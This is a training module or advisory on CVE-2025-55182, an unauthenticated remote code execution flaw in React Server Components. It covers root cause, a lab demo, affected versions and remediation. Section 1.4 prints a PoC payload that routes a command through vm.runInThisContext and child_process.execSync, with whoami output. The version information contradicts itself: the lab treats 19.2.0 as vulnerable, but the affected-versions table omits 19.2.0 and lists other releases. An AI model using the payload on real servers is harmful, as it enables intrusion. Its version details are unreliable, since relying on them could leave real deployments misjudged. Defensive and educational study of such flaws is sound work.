CVE-2025-55182 — Unauthenticated Remote Code Execution in React Server Components
CVSS Score: 10.0 (Critical)
Table of Contents
- Module 1: Remote Code Execution in React Server Components — CVE-2025-55182
- 1.1 Overview
- 1.2 React Server Components and the Flight Protocol
- 1.3 The Vulnerability: How the Flight Decoder Is Exploited
- 1.4 Live Exploitation Demo
- 1.5 Affected Versions
- 1.6 Impact Assessment
- 1.7 Real-World Risk Context
- 1.8 Immediate Response Steps
- 1.9 Broader Lessons for Security Leaders
- 1.10 Summary
Module 1: Remote Code Execution in React Server Components — CVE-2025-55182
1.1 Overview
Every so often, a vulnerability drops that cuts through the noise — not because of the hype, but because it touches a large part of the modern web stack. CVE-2025-55182 is one of those.
This is an emerging, critical-severity issue in the React Server Components (RSC) ecosystem. Teams worldwide are rushing to understand what it means for them, what is at risk, and how fast they need to move.
The bottom line: This bug lets an attacker send a specially crafted payload to a vulnerable server and get it to execute arbitrary code — without any authentication or prior access. If the server is exposed and running a vulnerable version, it is open to remote exploitation.
CVE ID : CVE-2025-55182
CVSS Score : 10.0 (Critical)
Type : Unauthenticated Remote Code Execution (RCE)
Component : React Server Components — Flight decoder
Introduced : React 19.x (specific builds)
1.2 React Server Components and the Flight Protocol
React Server Components (RSC) extend React’s rendering model to the server. Server Components run exclusively on the server and stream their output to the client through an internal protocol called Flight.
Flight is React’s wire protocol for moving structured data — component trees, function references, serialized props — from the server back to the client. It is designed to be efficient and rich in structure, which is exactly what makes it a meaningful attack surface.
sequenceDiagram
participant Browser as Browser (Client)
participant Next as Next.js App Router
participant RSC as React Server Layer
participant Flight as Flight Encoder/Decoder
participant Node as Node.js Process
Browser->>Next: HTTP Request (page or server action)
Next->>RSC: Route to Server Component
RSC->>Flight: Encode component tree + function refs
Flight-->>Browser: Streamed Flight payload (text/x-component)
Browser->>Next: POST /formAction (Server Action call)
Next->>Flight: Decode incoming Flight payload
Flight->>RSC: Resolve function reference
RSC->>Node: Execute server-side function
Node-->>Browser: Result / Response
When a client invokes a Server Action, the browser sends a multi-part POST request back to the server. The server’s Flight decoder unpacks that request and resolves the function reference described in the payload — this is where CVE-2025-55182 sits.
1.3 The Vulnerability: How the Flight Decoder Is Exploited
The core problem is insufficient trust validation inside the Flight-decoding path.
When the server unpacks an incoming Flight payload, it trusts part of the incoming data more than it should. With the right crafted payload, an attacker can nudge the decoder into treating what should be harmless metadata as something the server should actually execute.
In practical terms, a request hitting a React Server function endpoint can carry a crafted payload that ends up giving the attacker Remote Code Execution.
flowchart TD
A["Attacker sends crafted\nPOST request"] --> B["Next.js / RSC\nreceives request on\n/formAction endpoint"]
B --> C["Flight Decoder\ndeserializes payload"]
C --> D{"Validate function\nreference (id)?"}
D -- "VULNERABLE:\nNo validation" --> E["Resolve id via\nprototype chain"]
E --> F["id points to\nvm.runInThisContext\nor similar internal"]
F --> G["Attacker-controlled\nboundary value\npassed as code"]
G --> H["child_process.execSync\nexecutes system command"]
H --> I["RCE achieved\non host"]
D -- "PATCHED:\nValidation blocks\nprototype chain" --> J["Error returned\nto client"]
Key fields in the exploit payload:
The RSC protocol uses two fields to describe a Server Action call:
| Field | Normal Use | In the Exploit |
|---|---|---|
id | Reference to the legitimate server function to call | Points at an internal Node.js method (e.g., vm.runInThisContext) reachable via prototype-chain traversal |
bound | JSON array of serialized arguments | Contains attacker-controlled code or shell command |
By controlling both id and bound, the attacker sets the reference to a server-side function that can evaluate code, then sets the bound value to their own code. The decoder on the server trusts that id and those bound values, and instead of treating them as untrusted metadata from the client, it walks through the reference and ends up running what was supplied.
1.4 Live Exploitation Demo
Lab Environment Setup
The demo uses a deliberately vulnerable React server running in Docker:
Base image : node:18-slim (Debian Slim)
Run mode : root (default, no privilege drop)
React ver : 19.2.0 (vulnerable)
# Spin up the vulnerable lab container
docker run --rm -p 3000:3000 vulnerable-react-19.2.0
The exploitation tool is a specialized HTTP client written in Python. It takes a target_url and endpoint, then builds exactly the kind of request a React Server function endpoint expects: a multi-part form with the same fields a normal Server Action would send — but with the safe data swapped for the exploit payload.
# Conceptual structure of the PoC (simplified, not a working exploit)
import requests
TARGET_URL = "http://target:3000"
ENDPOINT = "/formAction"
def build_rsc_payload(mode: str, command: str = "") -> dict:
"""
Build a multi-part form mimicking a React Server Action call.
In 'check' mode, sends a prototype-chain probe to detect the bug.
In 'command' mode, wraps a system command in a JS expression
and drops it into the 'bound' array.
"""
if mode == "check":
# Sends a harmless prototype-chain probe
# Patched servers return an error; unpatched servers process it
id_ref = "__proto__.constructor"
bound = ["detection_probe"]
elif mode == "command":
id_ref = "vm.runInThisContext" # internal Node.js method
# The bound value is a JS expression calling child_process.execSync
bound = [f"require('child_process').execSync('{command}').toString()"]
return {
"1": json.dumps({"id": id_ref, "bound": json.dumps(bound)})
}
def exploit(mode: str, command: str = ""):
payload = build_rsc_payload(mode, command)
response = requests.post(f"{TARGET_URL}{ENDPOINT}", data=payload)
return response.text
Step 1 — Vulnerability Check Mode
Before attempting execution, the script runs in check mode: it sends a harmless payload that tries to reach a method via the prototype chain — exactly the pattern the patch is supposed to block.
- On a patched server: The server throws an error. The script reports the target is not vulnerable.
- On an unpatched server (React 19.2.0): The payload goes through. The script reports the target is vulnerable.
[*] Target: http://localhost:3000/formAction
[*] Mode: check
[+] Target is VULNERABLE (prototype chain traversal succeeded)
Step 2 — Remote Code Execution via whoami
Once vulnerability is confirmed, switching to command mode uses the exact same script and endpoint, but this time passes a system command. Starting with whoami to keep it simple:
[*] Target: http://localhost:3000/formAction
[*] Mode: command
[*] CMD: whoami
[+] Response: root
What happens on the server:
- The POST request arrives at
/formAction - The Flight decoder deserializes the payload
- The decoder reads the
idfield and resolves it tovm.runInThisContextvia the prototype chain vm.runInThisContextreceives the attacker’s JS string frombound- That JS string calls
child_process.execSync('whoami') - The output (
root) is returned in the HTTP response
sequenceDiagram
participant Attacker
participant Server as Vulnerable React Server\n(React 19.2.0, Node 18, root)
participant Node as Node.js Process
Attacker->>Server: POST /formAction\n{id: "vm.runInThisContext",\n bound: ["require('child_process').execSync('whoami').toString()"]}
Server->>Server: Flight decoder unpacks payload
Server->>Server: Resolves id via prototype chain
Server->>Node: vm.runInThisContext(attacker_code)
Node->>Node: child_process.execSync('whoami')
Node-->>Server: "root"
Server-->>Attacker: HTTP 200 — "root"
Key takeaway: From the network perspective, this is just a normal-looking POST request to a standard-looking endpoint. There is no authentication, no prior access required. The entire exploit lives inside the payload of a single HTTP request.
1.5 Affected Versions
The vulnerability lives in the Flight decoder code, which is part of the react-server package.
Vulnerable React versions:
| Version | Status |
|---|---|
| 19.0.1 | Vulnerable |
| 19.1.2 | Vulnerable |
| 19.2.1 | Vulnerable |
| Earlier (< 19.x) | Not affected (RSC not present) |
Many teams do not pull React in directly — they pull it through frameworks. Any framework that bundles RSC support can bring in the affected code even if you never touch React yourself.
Commonly affected configurations:
Next.js (App Router) — pulls react-server internally
App Router is built on RSC
Custom RSC setups — any bundler/framework with explicit
react-server peer dependency
Vite + RSC plugins — depends on which version of react-server
the plugin bundles
# Check your installed React version
npm list react react-server
# or
cat package-lock.json | grep '"react"' | head -5
# Check Next.js version (which bundles React Server internals)
npm list next
1.6 Impact Assessment
If an attacker can reach a vulnerable endpoint, they can run code on the server in the context of your application. That means they can do anything the server process can do:
mindmap
root((RCE Impact))
Data
Read application data
Exfiltrate secrets and env vars
Modify or delete data in databases
Lateral Movement
Pivot to other internal services
Exploit cloud metadata endpoints
Access internal APIs not exposed externally
Persistence
Drop reverse shells
Install backdoors or cron jobs
Modify deployed application code
Escalation
Depends on container/process privileges
Running as root amplifies everything
Cloud role permissions matter
The breadth of damage is ultimately a question of how well the surrounding environment is segmented and monitored — because once the exploit lands, the attacker has a reliable foothold inside your environment.
1.7 Real-World Risk Context
The CVSS 10.0 score is accurate for the technical severity, but the real-world blast radius depends on how your application and network are put together.
High blast radius (worse case):
- Server running as
root - Container with broad filesystem access
- Direct access to internal databases or secrets
- Cloud metadata endpoint reachable (
169.254.169.254) - No network segmentation between the React server and internal services
Reduced blast radius (better case):
- Application runs as a non-root user
- Filesystem is locked down (read-only where possible)
- Network egress is restricted (server only talks to what it genuinely needs)
- Secrets are scoped tightly (least privilege IAM roles)
- Containers are segmented at the network level
flowchart LR
subgraph Worse["Higher Risk Environment"]
A1["React Server\n(root, wide access)"] --> B1["Database\n(full access)"]
A1 --> C1["Cloud Metadata\n(IAM credentials)"]
A1 --> D1["Internal APIs\n(no auth needed)"]
end
subgraph Better["Hardened Environment"]
A2["React Server\n(non-root, least-priv)"] -->|"Allowed port only"| B2["Database\n(scoped credentials)"]
A2 -. blocked .-> C2["Cloud Metadata"]
A2 -. blocked .-> D2["Internal APIs\n(require auth)"]
end
Practical rule of thumb: The server’s in a tight segment, it only talks to the few services it genuinely needs — then an attacker doesn’t have many options. If it has broad access to internal systems or sensitive data, things can escalate very quickly.
This is an important vulnerability, but not necessarily an incident crisis once you know your versions and understand how the server fits into the rest of the environment.
1.8 Immediate Response Steps
A clear, actionable response follows a small number of steps:
flowchart TD
S1["Step 1: Confirm exposure\nAm I running a vulnerable version?"] --> S2
S2["Step 2: Apply patch\nUpgrade React / framework"] --> S3
S3["Step 3: Validate the patch\nRe-test with check mode"] --> S4
S4["Step 4: Review environment\nWhere does this server sit?"] --> S5
S5["Step 5: Tighten segmentation\nif needed"] --> S6
S6["Step 6: Communicate\nEngineering, product, deployment teams"]
Step 1 — Confirm whether you are in scope
# Check React version
npm list react
# Example vulnerable output: react@19.2.1
# Check if a framework bundles the vulnerable react-server
npm list react-server
# Also check next.js bundled version if using App Router
npm list next
Step 2 — Apply patches
The React team has pushed fixes. Most major frameworks are publishing updated builds as well.
# Update React (check official changelog for patched version)
npm install react@latest react-dom@latest
# If using Next.js App Router, update Next.js
npm install next@latest
# Run audit to confirm no remaining known vulnerabilities
npm audit
Step 3 — Validate the patch
On a patched server, the prototype-chain probe used in the PoC should return an error, not a successful response. Re-testing with the check-mode script (or equivalent) confirms the fix is in place.
Step 4 — Review your environment posture
# Check if Node process runs as root inside your container
docker exec <container_id> whoami
# If "root" — consider adding a non-root user to your Dockerfile
# Check network exposure
# Does your RSC endpoint need to be publicly accessible?
# Can you put it behind authentication middleware?
Step 5 — Tighten segmentation if needed
If the server has broad network access, this is the right moment to tighten it:
- Run the application as a non-root user in Docker
- Lock down the filesystem (read-only mounts where possible)
- Restrict outbound network access to only required services
- Audit what secrets the server can see (environment variables, cloud roles)
# Example: non-root user in Dockerfile
FROM node:18-slim
# ... app setup ...
RUN addgroup --system appgroup && adduser --system --ingroup appgroup appuser
USER appuser
EXPOSE 3000
CMD ["node", "server.js"]
Step 6 — Communicate
Make sure engineering teams, product owners, and anyone responsible for deployment knows what is happening and why it matters. These situations tend to move quickly, and clarity keeps everyone aligned.
1.9 Broader Lessons for Security Leaders
Lesson 1: Hidden dependencies in shared tooling
Modern applications are built on layers of shared tooling and frameworks. You do not need to be doing anything unusual for a vulnerability like this to land in your environment — it is enough just to be using a popular framework in a normal way. The React ecosystem is used by millions of applications; a single bug in a core package creates enormous exposure across the industry simultaneously.
Lesson 2: Pace of response
These situations move quickly. Security leaders who already have strong relationships with their engineering teams respond much better. When communication is clear and people trust each other, patching and validation become routine work rather than a last-minute scramble.
quadrantChart
title Response Readiness vs. Response Quality
x-axis "Weak Eng. Relationship" --> "Strong Eng. Relationship"
y-axis "Slow Response" --> "Fast Response"
quadrant-1 Best Outcome
quadrant-2 Fast but Noisy
quadrant-3 Worst Outcome
quadrant-4 Slow but Thorough
"Team A: Clear comms, trusted process": [0.85, 0.90]
"Team B: Good tech, weak comms": [0.30, 0.75]
"Team C: No prior relationship": [0.15, 0.20]
"Team D: Siloed security team": [0.20, 0.55]
Lesson 3: Resilience is built before the incident
Issues like CVE-2025-55182 are reminders that even well-maintained stacks can produce surprises. The organizations that cope best are the ones that have already invested in:
- Containment — minimal blast radius through least-privilege and segmentation
- Clarity — known dependency graphs, accurate SBOM, fast patch pipelines
- Rehearsal — incident response playbooks tested before a real event
These properties pay dividends not just for this CVE but for every future vulnerability that lands in a shared dependency.
1.10 Summary
| Topic | Key Point |
|---|---|
| Vulnerability | CVE-2025-55182, unauthenticated RCE in React Server Components |
| Root cause | Flight decoder trusts attacker-controlled id and bound fields, enabling prototype-chain traversal to internal Node.js execution primitives |
| CVSS | 10.0 Critical |
| Authentication required | None — single unauthenticated HTTP POST |
| Affected versions | React 19.0.1, 19.1.2, 19.2.1 and any framework bundling these |
| Commonly impacted | Next.js App Router applications |
| Blast radius | Depends on environment: process privileges, network segmentation, secret scoping |
| Fix | Upgrade React and/or your framework to patched releases |
| Post-patch action | Validate fix, review environment posture, tighten segmentation, communicate |
| Strategic lesson | Hidden transitive dependencies, strong eng. relationships, and pre-built resilience determine how well teams respond |
Stay frosty. Even well-maintained, modern application stacks carry hidden risk in shared dependencies. The right response is fast patching, clear communication, and a hardened runtime environment — not panic.
This document is based on a technical analysis of CVE-2025-55182. Always verify vulnerability status and patch availability against official React and framework release notes before acting.
Search Terms
next.js · breaking · react · hit · cvss · 10.0 · bug · vulnerability · briefings · networking · systems · security · components · execution · flight · remote · server